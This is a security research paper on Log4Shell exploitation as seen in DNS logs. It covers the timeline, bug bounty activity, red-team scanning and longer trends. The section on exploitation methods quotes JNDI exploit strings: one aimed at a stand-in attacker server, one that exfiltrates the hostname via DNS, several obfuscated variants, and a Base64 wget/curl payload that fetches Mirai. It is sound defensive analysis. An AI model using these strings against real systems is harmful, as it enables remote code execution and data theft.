Log4Shell: The DNS Story

Authors: Renée Burton, Christopher Kim, Laura da Rocha, Maël Le Touz

Introduction

On 9 December 2021, as many people around the world were looking forward to winter holidays, the security industry was shaken by the unexpected public release of a vulnerability (CVE-2021-44228) in a widely used Java logging package called Apache Log4j 2.¹ This library was incorporated into hundreds of Java applications and the vulnerability provided remote code execution (RCE) on compromised machines potentially providing attackers with unfettered access to networks around the world. Moreover, the vulnerability was easy to execute, and made easier by demonstration code from security researchers on the Internet. Word spread faster among malicious actors than among defenders, and the security industry found itself scrambling to both identify and patch vulnerable systems.

At Infoblox, our response priorities were to evaluate potential vulnerabilities within our own product suite, including our websites, and to identify malicious behavior transiting our DNS resolvers. Our product security (PSIRT) team collaborated with our threat intelligence team, and we quickly realized that some attempts to exploit Log4j across our customer networks manifested as illegal DNS queries. We put an analytic in place to identify these queries and released this information in a Cyber Campaign Brief (CCB) entitled Log4J Exploit Harvesting on 13 December 2021.² From an intelligence perspective, once we had analytics in place to detect new activity, we began looking for exploits of the vulnerability that occurred prior to the disclosure or that appeared targeted to specific customers.

We found no widespread usage of the exploit prior to December 9th. In early January, we published some initial retrospective analysis based on the trends we observed through the final days of December.³ In that blog, we highlighted early exploits by the crypto mining bot community, the widespread use of scanners, and the noise created by security researchers trying to identify vulnerable systems on the Internet.

In this paper, we provide a detailed history and retrospective analysis of Log4Shell based on large-scale DNS logs. Utilizing our own DNS in conjunction with that of Farsight Security (now part of DomainTools), we are able to tell a rich story of Log4Shell, including the emergence of early malicious actors and the long term trends. Operationally, we used contrasts in these two global sources to separate broad spectrum attempts to exploit the Log4Shell vulnerability from those that were more targeted, or due to internal red team efforts. In this paper we share some of those techniques. Additionally, we give a comprehensive timeline of events, discuss the challenges of providing intelligence during this event, the overlap between our detections and known threats, and trend changes in illegal DNS queries that indicate Log4Shell exploit attempts.

Specifically, large-scale, multi-source passive DNS log analysis reveals that:

• broad spectrum attacks began on 9 December, shortly after the disclosure, led by the crypto mining botnet malware
• bug bounty actors actively exploited the vulnerability in enterprises and may have had early knowledge of the vulnerability
• internal red team activity took several days to gain momentum, but has continued into 2022 whereas malicious scanning has dropped off over time
• invalid DNS queries provided valuable information about the overall trends in Log4Shell activity
• attempts to exfiltrate system environment variable values via DNS queries to subdomains; this technique bypasses a TCP/IP-based firewall, which doesn’t provide protection at the DNS level

Timeline

While the critical vulnerability in the Log4j library became well known in mid-December, the potential of vulnerabilities in software that utilized certain features of Java had surfaced much earlier and were written about on multiple occasions. Most notably at the Blackhat 2016 Conference, researchers Alvaro and Oleksandr demonstrated the ability to exploit a feature called the Java Naming and Directory Interface (JNDI) lookup and gain remote code execution access to a machine.⁴ While their work was not specific to the Log4j library, it exposed the potential triggering software that had JNDI lookups enabled to perform a connection to another location, including one hosted by a malicious actor. Following that presentation others published detailed explanations of the potential weakness, though none exposed vulnerabilities specifically in the Log4j library.⁵ It was not until late November 2021 that the Apache Log4j library was identified as exploitable. A timeline of the major events is shown in Figure 1 below.

Figure 1. A timeline of major Log4Shell events through December 2021.

It is believed that the engineers at Alibaba informed the Log4j Apache project maintainers on 24 November 2021. A public pull request to fix the issue was made on 29 November and a conversation about the code changes ensued; the code changes were merged on 4 December.⁶ The patched version of Log4j, 2.15, was available for upgrades after that, although it is unlikely that many systems were immediately patched and there was no announcement of a critical vulnerability until several days later.

The details of events between 4 December and the widespread public disclosure on 9 December are somewhat murky. It is known that a bug bounty researcher exploited the vulnerability in a Minecraft bug bounty program, though the exact date of that event is not published. The first tweet we have found was posted at approximately 7am UTC on 9 December by someone using the handle p0rz9, reportedly a Chinese security researcher.⁷ They also provided code to exploit the vulnerability on GitHub. Both the original tweet and GitHub repo have been deleted, but a screenshot of the tweet is provided in Figure 2 below. A number of other Chinese researchers also tweeted about the vulnerability early in the day; some of these are shown below in Figure 3.

Figure 2. The earliest known tweet from Twitter announcing the Log4j vulnerability and providing a demonstration of the exploit. This tweet was later deleted as was the associated GitHub repo. https://web.archive.org/web/20211210070754/https://twitter.com/P0rZ9

Figure 3. Early tweets from Chinese security researchers disclosing the Log4j vulnerability.
https://twitter.com/Y4tacker/status/1468968191703408645
https://twitter.com/r4v3zn/status/1468947282766999554

Based on our analysis, we suspect that the vulnerability was shared among some in the bug bounty community and used to collect rewards from companies prior to disclosure. We saw suspicious activity as early as 30 November, but not widespread exploitation attempts until 9 December. While p0rz9 is credited with the initial disclosure, it seems likely that this was not the sole leak. As of that day, p0rz9 had only 84 followers and only two previous tweets.⁸ A few additional early tweets were seen from other Chinese security researchers several hours later and by the afternoon in Europe, Twitter was filled with tweets and a new hashtag for Log4j. The earliest large-scale attacks seen in global traffic come from a variety of crypto mining bots early that evening. We observe these attacks starting at approximately 5:30pm UTC on 9 December and gaining momentum over the following days.

Unfortunately, the Log4j 2.15 release did not fully resolve the vulnerability and two more releases were made in the week after the initial disclosure. The current release of Log4j, version 2.17, covers all known weaknesses associated with JNDI and related services. Since mid-December, as the globe was flooded with scans against systems utilizing Log4j, researchers tested other Java-based applications that used JNDI. On 6 January 2022, it was announced that a similar vulnerability was found in the open-source Java SQL database, H2.⁹

Log4Shell Exploitation Methods

Log4Shell is a software vulnerability in Apache Log4j 2, a widely used Java-based utility that logs event messages in applications, such as system errors and routine operations.

Log4j 2 versions older than 2.15 had insufficient safeguards around its message substitution feature, allowing users to programmatically modify event logs and perform RCE. This occurs when a remote, unauthenticated attacker sends a web request to an application server that uses a vulnerable version of Log4j. The network request includes an exploit string that shows the address of the attacker-controlled server. When Log4j records this malicious string, it triggers Log4Shell and the vulnerable application uses a Java interface called Java Naming and Directory Interface (JNDI) to make a connection to the attacker’s server.

Apache Log4j allows software engineers and admins to easily log all sorts of queries and text, for example IP addresses, referring URLs or error messages. This essentially creates a journal of events that have occurred in the software and can be used for debugging or as records for future reference. To allow for rich logging, the library also leverages JNDI for dynamic variable lookups, including remote Java objects registered with the RMI registry or directory services like LDAP. Unfortunately, this also gives an attacker the opportunity to trick the vulnerable server into making a request to an LDAP server they control, and thus leading to arbitrary code execution.

The attacks we have observed typically begin with an HTTP request to a public application server. In this request, the attacker tags the exploit string to the header key x-api-version. The exploit string defines the protocol (e.g. LDAP) and the URL address of the attacker’s server, as depicted in Figure 4. The response from the attacker’s server usually contains a path to a remote Java class file, and the vulnerable application will load the payload and execute it. This enables the attacker to gain RCE privileges on the system that runs the vulnerable application.

X-Api-Version: ${jndi:ldap://attacker-server/malware}

Figure 4. Example of an exploit string showing LDAP URL address

In addition to plain URL addresses, there are many other ways to exploit Log4Shell. From our detections of Log4Shell activity in customer DNS traffic, we found attempts to steal environment variables that hold sensitive system information. The actors cleverly transferred the data using subdomain names. As shown in Figure 5, the actor includes the environment variable in the subdomain name. This triggers the application to perform a variable lookup using JNDI and send a DNS request to the attacker’s domain afterwards.

${jndi:${lower:d}n${lower:s}://${env:hostname}.<redacted_token>.interact.sh}

Figure 5. An example of an exploit string showing an environment variable in the subdomain observed by Farsight Security. A successful exploit will exfiltrate the hostname of the vulnerable machine.

If the attackers have control over the DNS server of their domain, they can find the stolen information by examining the DNS traffic logs. The traffic should indicate the JNDI DNS lookups for the non-existent subdomain record. This particular technique offers the attacker several advantages:

1. By transmitting the stolen data over the DNS protocol, actors can bypass TCP/IP-based firewall restrictions that could prevent the download of dependent files.
2. Reduce the attacker’s efforts and time since they don’t require additional stages to succeed in the attack (e.g. Java class files).
3. Avoid possible detection by reducing their digital footprint.

Some security researchers found exploit strings that contained Base64 commands as part of the LDAP URL address. In the example below, if a vulnerable system receives the encoded command, it will download and execute a payload with bash. The payload in this case was a Mirai variant.

Log4Shell command	Decrypted base64
${jndi:ldap[://]135[.]148[.]143[.]217:1389/Basic/Command/Base64/d2dldCBodHRwOi8vMTUyLjY3LjYzLjE1MC9weTsgY3VybCAtTyBodHRwOi8vMTUyLjY3LjYzLjE1MC9weTsgY2htb2QgNzc3IHB5OyAuL3B5IHJjZS54ODY=}	b’wget hxxp[://]152[.]67[.]63[.]150/py; curl -O hxxp[://]152[.]67[.]63[.]150/py; chmod 777 py; ./py rce.x86′

Invalid JNDI DNS Queries

Working with the Infoblox product security and incident response team (PSIRT), we quickly identified that attempts to exploit the vulnerability often led to invalid DNS queries. The queries initially included the substring “${jndi” and were intended for the target system to do an LDAP or DNS lookup that triggered a connection to a remote system. We published a blog with these findings on 13 December 2021 and continued to monitor the activity into 2022.¹⁰ For example, on 10 December 2021, we identified a Log4Shell exploit string in customer DNS traffic that showed a domain associated with Burp Collaborator, a network service that Burp Suite uses to discover vulnerabilities. As shown below, the string was constructed with the jndi: prefix, protocol label, target’s domain name, and a unique token generated by the scanner.

${jndi:ldap://x-forwarded-for.<target_domain>.<token_string>.burpcollaborator.net/a.bc}

In the following days, actors quickly began obfuscating the JNDI calls in a variety of ways to evade detection as string patterns for finding exploit attempts were further shared throughout the security community. The original vector

${jndi:{command{attacker_ip}}}

can be obfuscated in a variety of ways, since Java code will be processed on the fly by the affected application. One of the most common obfuscation methods that we observed involved leveraging Log4j’s “default value syntax” feature, which allows a default value in a lookup denoted by a dash.¹¹ This means that within a lookup, the character after the dash and colon becomes the default value as long as the variable that precedes the colon is undefined. We observed queries, for example, that contained substrings like

:443${j${main:k5:-nd}i${spring:k5:-:}ldap:{attacker_ip}

and

${${sys:zaaaa\010aaa:-jn}${k8s:-}${sys::-di}:ldap:{attacker_ip}.

Both of these are interpreted and executed as ${jndi:ldap{.

Early Log4Shell Activity

Shortly following the leak of the vulnerability, researchers, red teams, and malicious actors all began trying to identify vulnerable systems. Some used penetration testing tools, others leveraged simple DNS trackers, and still others simply made direct attempts to compromise systems on the Internet. Certain malicious actors, notably the crypto mining botnet community, appear to have learnt of the vulnerability prior to the first known tweet.

We examined DNS trends both in our own networks and in that of Farsight Security (now part of DomainTools) to compare trends.¹² Farsight provides a nice complement to our own DNS networks as their global coverage is broad but distinct from our own. In the figures below, we show relative volume for select domains connected to Log4Shell activity on 9 December. Some of this activity is benign and some is malicious.

Figure 6. Hourly trends for DNS queries as observed in Farsight DNS events. All of these domains were associated with Log4Shell activity following the disclosure at approximately 7am UTC.

One interesting takeaway from the Farsight data is the change in behavior of some domains relative to the time of the disclosure. For example, consider the domains apacheorg[.]top and apacheorg[.]xyz (the 5th and 6th domains on the graph). They are associated with the long-established Linux m8220 mining bot. We typically observe these domains every hour in global DNS traffic, but they dropped off completely for several hours on 9 December, before returning to operation. We suspect this is due to the threat actor reconfiguring the botnet to utilize Log4Shell to look for new victims. Notice that this pause begins before the first known leak of the vulnerability, indicating that the threat actor had learnt earlier, presumably late on 8 December. We see similar, but later, drops in activity for the related domains c3pool[.]com, givemexyz[.]in, and onion[.]ws (the darker orange bars on the graph); these domains have a drop in activity starting around 9:00 UTC and resume their normal levels around 22:00 UTC.

Only a subset of these same domains are visible in the Infoblox networks on 9 December. This demonstrates even clearer timelines of various types of activities on that day, due to the lack of noise in our networks. In Figure 7 below, we show the hourly relative volume of Log4Shell-related domains as they occurred in our networks; Table 1 follows the graph and provides a classification or description for each of the domains as a reference.

Figure 7. Relative behavior of domains associated with Log4Shell domains in Infoblox networks on 9 December.

Domain	Category of Activity
00webhostapp[.]com	Free domain hosting site
1433[.]eu[.]org	DNS tracker run by dnslog[.]cn service
apachetop[.]org	Cryptocurrency mining botnet domain
binaryedge[.]io	Internet scanning company
burpcollaborator[.]net	Vulnerability testing tool used in enterprise environments
canarytokens[.]net	Open source scanning tool using DNS tracking
distryp[.]com	Suspected bug bounty hunter
givemexyz[.]in	Cryptocurrency miner botnet domain
huntress[.]com	Security company
interactsh[.]com	Open source scanning tool Interact, associated with interact[.]sh
leakix[.]net	Internet vulnerability scanning company
teamtnt[.]red	Cryptocurrency miner botnet domain
tor2web[.]su	Web proxy domain for access to Tor
verymad[.]it	Free DNS domain hosting used for DNS tracking
x00[.]it	Internet scanning of unknown origin

Table 1. Domains associated with early Log4Shell activity shown in the query volume chart within Infoblox networks on December 9th, 2022.

Notice that the Linux mining bots described above are not visible at all until 5pm UTC. We also see other malicious domains, e.g., teamtnt[.]red, appear during that same hour, and several of them have notable increases in activity into the night. The pen testing tool, burpcollaborator[.]net, is widely and regularly used by red teams in our networks, but we can see a slight increase in the evening. Similarly, the open source vulnerability scanner, Interact, is first visible around 8am and then is consistently seen every hour after 6pm; this usage was consistent in the days that followed. Interact[.]sh and dnslog[.]cn are two DNS-based trackers available on the Internet. We found that the owners of dnslog[.]cn added a new tracking domain, 1433[.]eu[.]org on the 9th, and it was visible in both our networks and Farsight traffic for the first time that evening. We will discuss the use of penetration testing tools and trackers in more depth later. Finally, our network activity shows scanning by security researchers and vendors starting several hours after the release, notably by Huntress.

By mid-day on 10 December, the Log4Shell vulnerability and its potential impact to systems around the world had made it to large news outlets. Red teams, researchers, security vendors, bug bounty hunters, and bad actors were all in a race to identify systems that contained Log4j and determine the impact of exploiting them. Through our analytics we could see evolving efforts to obscure the JNDI lookup while still succeeding in causing an external connection. Lookups included domain names, IP addresses, and various ports. We collected and monitored the DNS endpoints over the weeks and months that followed. Log4Shell activity increased greatly starting on the 10th and remained high for the rest of the year. Figure 8 below shows this activity as seen in the Farsight networks.

Figure 8. Total number of invalid DNS queries in Farsight events containing the substring “{jndi” during December 2021.

We analyzed the overall trends of Log4Shell queries both within Farsight data and our own. Given the large number of indicators, we use a random sample to measure the relative volume of queries daily. In Figure 9 below representing Farsight data, we see both consistently active domains, as well as ones that first began after the 10th and are present for only a few days.

Figure 9. Relative query volume of select Log4Shell-related domains from 9-31 December within Farsight DNS events. Random sample of 30 second level domains, sorted by descending number of appearance days and by ascending order of first date appearance.

In our own networks there is a continuous rise in activity after 10 December and persisting through the next two weeks — achieving its peak around 25 December for the year, as depicted in Figure 10. The spike of activity on the 25th was caused by a sudden growth of vulnerability scanning; this is further explained in the Researchers and Red Team section. This demonstrates how different DNS activity can appear from different perspectives. What is seen in Farsight DNS activity is consistent with a rush to identify and exploit systems globally, while our own data largely shows the ramping up of enterprise red teams who continued large-scale scanning over a very long period of time. Both networks, while having no overlap in devices, show a sharp increase in activity around 25 December.

Figure 10. Total number of invalid DNS queries containing substring “{jndi” for December 2021 in Infoblox SaaS environment.

In addition to the increase in overall activity, the number of unique domains increased as well. Some domains are present for only a few days. However, domains associated with red teams and external scanners – whose activity dominates in our traffic – are consistent during the surge. The Apache Log4j project released two more patches to address variants of the vulnerability in December, which forced companies to patch and rescan systems repeatedly. After it became evident that the first patch did not fully resolve the issue, the variety of approaches to trigger a JNDI lookup increased significantly and with it the overall number of related DNS queries.

Figure 11. Relative query volume of select Log4Shell-related domains from 9-31 December 2021 within the Infoblox SaaS environment. Random sample of 30 second level domains, sorted by descending number of appearance days and by ascending order of first date appearance.

In the surge that took place the last two weeks of December, there were a few major categories of activity. Malicious actors attempted to compromise everything they could reach on the Internet, from crypto mining exchanges, to online retailers and even rape crisis websites.¹³ Broad sweeping attacks were made using a range of attack vectors, including botnets and spam messages, but the dominant method was crypto mining.

The real analytical challenge for defenders was distinguishing the various types of Log4Shell activity and determining what represented a serious threat and what did not. Large scale operations, like those of the ElkNot or m8220 botnet, do not perform reconnaissance and stand out in the breadth of their operations. But separating targeted attacks on customers from bug bounty hunters, security researchers, and red teams proved to be far more difficult. In the sections that follow, we will discuss each of these groups in detail and provide some specific examples.

Bug Bounty Hunters

The biggest concerns with a ubiquitous vulnerability like this one is that more sophisticated actors will have discovered and used it well before it became public, or that certain customers will be targeted by advanced persistent threat (APT) actors before there is time to patch systems. Like others in the industry, we found no widespread efforts to exploit Log4j until after December 9th. We reviewed approximately two years of records and found no indications of exploitation at all prior to 30 November.

Between 30 November and 9 December, however, we did collect a small amount of DNS traffic that was consistent with successful exploitation of the vulnerability. This activity and a small amount that followed shortly after the disclosure were initially concerning as the DNS queries were limited and consistent with successful execution of remote code. In each of these cases, we were ultimately able to attribute the behavior to bug bounty hunters.

Bug bounty hunters, often referred to as greyhats, exploit commercial networks to identify vulnerabilities in exchange for payment. In order to avoid prosecution for hacking, bug bounty hunting is typically performed under a contract, either for an event period held by a company or through a third party vendor. They may operate independently or as part of a consortium like HackerOne. To receive payment the hackers must usually provide evidence of successful exploitation, along with details on how to reproduce it. The original intent was to discover new vulnerabilities in products, but many hunters use published vulnerabilities rather than finding bugs on their own.

Bug bounty hunters were initially credited in some media for discovering the Log4j vulnerability in Minecraft servers. However, this was fairly quickly corrected and Huawei researchers were cited as the true discoverers. It is unlikely that bug bounty hunters independently discovered that Log4j was susceptible to a JNDI lookup weakness. It seems most likely that the Minecraft hunters, and the others we observed directly, tried to leverage the bug as quickly as possible for financial gain before details of the vulnerability were made public.

Due to privacy regulations, and the widespread availability of cheap, anonymous infrastructure, unwinding DNS events, registrations, and related hosting information, attributing activity to a definitive actor is extremely time consuming. Actor tracking often involves collaboration with other security vendors and requires some luck. Although bounty hunters ultimately need to provide proof to clients in order to receive payment, in the cases we have analyzed they concealed their activities and identities, making it difficult to distinguish them from malicious actors.

One such example is a domain controlled by a Spanish bug bounty hunter associated with HackerOne.¹⁴ Attempts to exploit the Log4j vulnerability in multiple networks were observed starting on 12 December. Specifically, HTTP GET and POST requests targeting various websites which contained obfuscated JNDI lookup commands that redirected to the actor’s domain. This domain was used in Log4Shell attacks against a handful of unrelated enterprise networks. In an effort to determine whether the actor was performing targeted attacks against our customer networks, we analyzed the query, registration, and hosting history of the domain. Privately registered in April 2021, the domain was hosted in a European virtual private hosting environment between May and December 2021.

We compared Farsight DNS resolutions with our own and found irregular activity from the actor dating back several months. The figure below shows relative volumes of resolutions for this domain between September and December 2021 in Farsight DNS records. The queries over this time fell into one of four subdomains, or the primary domain, and contained information about the targeted network infrastructure. It is unknown what vulnerability the actor was using prior to 10 December, although they first used a subdomain that included the term “RCE”, presumably remote code execution, on 30 November. Additionally, the level of activity significantly increased at this time, although we are unable to verify that it was an early execution of Log4Shell. Through a variety of sources, we were eventually able to confidently identify the actor as a bug bounty hunter.

Figure 12. The relative volume of queries within the bug bounty domain between 1 November and 31 December, as seen in Farsight DNS records. Small volumes of traffic are observed in Farsight and other sources between April 2021 and November 2021. The Log4Shell related events are annotated for reference. Activity prior to 12 December may or may not be Log4Shell-related.

Researchers and Red Teams

The use of Java is so widespread in the software industry, that the potential impact of the Log4j vulnerability was enormous. Beyond the obvious targets of web servers such as Apache and Tomcat servers, the spectrum of vulnerable applications was unknown. Organizational red teams swiftly began testing their infrastructure, rather than waiting for updates and patch notes from each vendor. Similarly, researchers and security vendors worldwide began scanning the Internet for vulnerable systems.

We used multiple approaches to correlate activity observed in DNS with legitimate activity, and to separate potentially malicious indicators. Comparing invalid DNS queries between Farsight Security and Infoblox DNS records, we were able to distinguish between broad spectrum attacks and those either targeted to certain industries or as a result of internal red teams. We also looked at the resolution of embedded resources within these queries to determine whether they were internal, and likely related to red team scanning, or external to the customer networks.

Overall we observed that activity strongly correlated to commercial penetration testing tools ramped up slowly over several days following the disclosure. By mapping JNDI lookups to specific strings used by commercial vulnerability scanning solutions, we were able to identify the share of the traffic generated by those tools. Figure 13 below represents the proportion of such traffic in comparison to the total invalid JNDI lookups. Commercial scanners are more often associated with internal red teams than malicious or research actors due to their cost, whereas open source tools such as Interactsh were used much more broadly.

Figure 13. Relative daily volume of JNDI queries due to commercial scanning tools compared with the overall following the 9 December 2021 disclosure as seen at Infoblox resolvers.

To further understand these trends, we considered the subset of queries containing LDAP commands. Most often these contained the static IP address of an LDAP server. If this IP was in a private IP range, then we assumed it was used for internal testing purposes. Public IP addresses made up a very small percentage of the traffic. The figure below shows the share of vulnerability scanning, as measured by known commercial tools and internal LDAP servers, in comparison to the total traffic for the month of December 2021. The total here includes the use of other protocols such as RMI and DNS in the JNDI lookup. We can see that vulnerability scanning gained a much larger percentage of the traffic starting around 20 December. In particular, on 25 December, we observed a surge in scanning activity from infrastructure related to Nessus, a commercial vulnerability assessment solution. In Figure 14, the area outlined in green on that day is predominantly due to Nessus usage.

Figure 14. Representation of the daily number of JNDI queries, their share of vulnerability scanning tools activity and the repartition of outgoing LDAP queries. Note the lack of vulnerability scanning activity in the early days of December.

Another method we used to separate internal from Internet-wide scanning was to consider overlaps within DNS hostnames. Many actors, both legitimate and malicious, used tools or services that made unique DNS queries when the vulnerability was triggered. The DNS queries were resolved at an authoritative name server and logged. The actor is then able to correlate specific fully qualified domain name queries with their scanning activities to identify vulnerable endpoints. Some of these leaked information about the vulnerable system, while others did not. In some cases, the actor controls the authoritative name server, and in others it is run as a service.

For example, users of the DNS tracking service, dnslog[.]cn, can create a unique subdomain for free. All DNS queries to any fully qualified domain name within that subdomain will be logged, and the user will be able to recover the IP address, timestamps, and queries that were made. In the figure below, <unique_token>[.]dns[.]1433[.]eu[.]org is one such subdomain. The token is unique to a specific actor. In certain cases, the attacker would also attempt to add the hostname, network, and user information of the vulnerable system to their DNS query. In that event, a DNS query similar to <user>-<host>[.]<unique_token>[.]dns[.]1433[.]eu[.]org might be observed.

We gathered all of the tracking related DNS queries, aggregated them by the unique subdomain, and mapped the network information to industry verticals. Figure 15 below illustrates how some subdomains were isolated to specific networks and industries, while others were widespread. In these examples, the reuse of the same subdomain of pingb[.]in within both networks of the health industry and universities is consistent with external scanning.

Figure 15. Mapping of different unique DNS trackers to verticals during the month of December 2021. A unique DNS ID over different networks is an indication of external activity.

Longer Trend Analysis

We performed a retrospective analysis of invalid queries containing the substring “{jndi” over several periods in 2022. The results in Figure 16 below show that these queries continued to be present in our network for the time frame evaluated, even two months after the public disclosure of the vulnerability and the Log4j patch releases.

Figure 16. Total number of invalid DNS queries containing substring “{jndi” for December 2021 to February 2022 in our Infoblox SaaS environment.

In addition, we looked at the trend analysis for DNS query counts to domains related to Log4Shell activity. We took a sample of the second level domains (SLDs) that were detected in the early days of the exploit, and analyzed them over the period from the beginning of December until the end of February, for both the Infoblox SaaS environment, and Farsight DNS events. Figure 17 below shows that there is a consistent presence of domains associated with the Log4Shell activity over time.

Figure 17. Total count of indicators associated with Log4Shell-related queries in Infoblox SaaS environment events for 1 December 2021 to 1 March 2022.

From 15-19 December, there was a large spike in queries associated with the domain bingsearchlib[.]com.¹⁵ Observations of this domain’s activity in the wild match public reporting from the community.^{16, 17} Despite its name, this domain is not associated with Microsoft or the Bing trademark, although it is hosted on Azure infrastructure. This domain was registered on 10 December 2021 and operates as a callback destination for Log4Shell exploits. According to BleepingComputer, a security researcher with the Twitter handle @bingsearchlib, claimed that the domain was unregistered when it was discovered in malicious strings. The researcher purportedly registered the domain to prevent the actors from using it and does not log any inbound requests to the domain.¹⁸

In Farsight DNS events, we can observe the same pattern of continuous activity associated with Log4Shell domains. In early January we observed a large amount of queries associated to nazi[.]uy, a command and control (C&C) server for the Mirai botnet. In one community report, a JNDI exploit string contained an IP-based LDAP URL address that was appended with a Base64 encoded string.¹⁹ This string translated to a Wget command that downloaded a Mirai binary, configured to phone home to the nazi[.]uy C&C server.

Figure 18. Total count of indicators associated with Log4Shell-related queries in Farsight DNS events for 1 December 2021 to 1 March 2022.

We also compared activity correlated with internal vulnerability scanning to overall traffic in March 2022, illustrated in Figure 19 below. While external activity dominated in the first ten days following the disclosure, a few months later almost all of the activity we see is related to red teams.

Figure 19. Relative daily volume of JNDI queries in March 2022 due to internal scanning compared with the overall total. The relative percentage of internal scanning greatly increased since December 2021.

Conclusion

Log4Shell was the most impactful computer security event in 2021 due to the ubiquitous nature of the Log4j library in software. The U.S. Cybsersecurity and Infrastructure Security Agency (CISA) considered Log4Shell to be a severe risk and attempted to coordinate responses across the private and public sector.²⁰ The long time gap between when the vulnerability was first reported in late November and when it was disclosed, allowed some actors to gain information early and take advantage of ill-prepared enterprises. Moreover, the low technical barrier for finding and exploiting applications further allowed malicious actors and security researchers to test for vulnerable systems almost immediately after the disclosure.

As was the case in other major events like the Wannacry ransomware and Solarwinds Sunburst back door, Log4Shell attacks left a strong fingerprint in DNS. Passive DNS logs proved invaluable both in detecting attempts at exploiting the vulnerability, but also in understanding the trends over time. Our ability to compare our own global logs with those of Farsight Security gave us a unique lens, allowing us to separate malicious activity from legitimate penetration testing, and giving us confidence in our conclusions. Because of this unique perspective, we can confidently conclude there was no widespread use of the vulnerability prior to 9 December, having reviewed over a year of records. We also know the crypto mining malware was the first major threat to make global attacks. Bug bounty actors were also immediately active, and we have some evidence that they knew and used the vulnerability prior to public disclosure. Moreover, using DNS we could see how tools were adopted, how long threats persisted, and how red teams responded.

In spite of the potential severity, CISA ultimately reported that they were aware of no major breach in the United States as a result of the vulnerability.²¹ CISA warned in mid-January that it was likely malicious actors would continue attempting to exploit the vulnerability for months to come, and that it was possible that some actors had successfully gained access to networks, but were waiting to fully exploit them. We see in our DNS logs that while most current Log4Shell activity is related to red teams, malicious actors persist, consistent with the CISA warning.

Global enterprises may have been spared from catastrophic losses because of the rapid response, both internally and from the security industry as a whole. Security vendors, including Infoblox, responded to Log4Shell forcefully and took extraordinary measures to protect the global community. We published a comprehensive list of indicators and shared information more broadly than ever before. We and others in the industry proactively tried to identify pre-disclosure attacks and warn impacted customers. Product security teams were challenged to identify all exposed software and the use of open source tools made scanning at scale much easier, These efforts ultimately led to DNS footprints that helped isolate systems that required upgrades.

1. https://web.archive.org/web/20211209230040/https://twitter.com/P0rZ9/status/1468949890571337731
2. https://blogs.infoblox.com/cyber-threat-intelligence/cyber-campaign-briefs/log4j-exploit-harvesting/
3. https://blogs.infoblox.com/security/an-initial-look-at-Log4Shell-trends/
4. A Journey from JNDI/LDAP Manipulation to Remote Code Execution Dreamland, Blackhat 2016, Alvaro Munoz and Oleksandr Mirosh, https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
5. Exploiting JNDI Injections in Java, Michael Stepankin, 2019 https://www.veracode.com/blog/research/exploiting-jndi-injections-java
6. Log4j Github pull request to fix the vulnerability https://github.com/apache/logging-log4j2/pull/608
7. Log4Shell Unauthenticated 0-day RCE exploit, Atos Threat Intelligence Team blog, https://atos.net/en/lp/securitydive/Log4Shell-unauthenticated-rce-0-day-exploit
8. https://web.archive.org/web/20211210070754/https://twitter.com/P0rZ9
9. https://jfrog.com/blog/the-jndi-strikes-back-unauthenticated-rce-in-h2-database-console/
10. https://blogs.infoblox.com/cyber-threat-intelligence/cyber-campaign-briefs/log4j-exploit-harvesting/
11. https://logging.apache.org/log4j/2.x/manual/lookups.html
12. https://www.farsightsecurity.com/
13. https://www.google.com/url?q=https://blogs.infoblox.com/security/an-initial-look-at-log4shell-trends
14. We do not provide the domain name in this report to avoid association in public facing documents of an individual’s identity.
15. https://www.virustotal.com/gui/domain/bingsearchlib.com/community
16. https://twitter.com/sans_isc/status/1469364731567824904
17. https://isc.sans.edu/forums/diary/Log4j+Log4Shell+Followup+What+we+see+and+how+to+defend+and+how+to+access+our+data/28122/
18. https://www.bleepingcomputer.com/news/security/hackers-start-pushing-malware-in-worldwide-Log4Shell-attacks/
19. https://twitter.com/1ZRR4H/status/1469734728827904002
20. https://www.cisa.gov/uscert/apache-log4j-vulnerability-guidance
21. https://www.securityweek.com/cisa-unaware-any-significant-log4j-breaches-us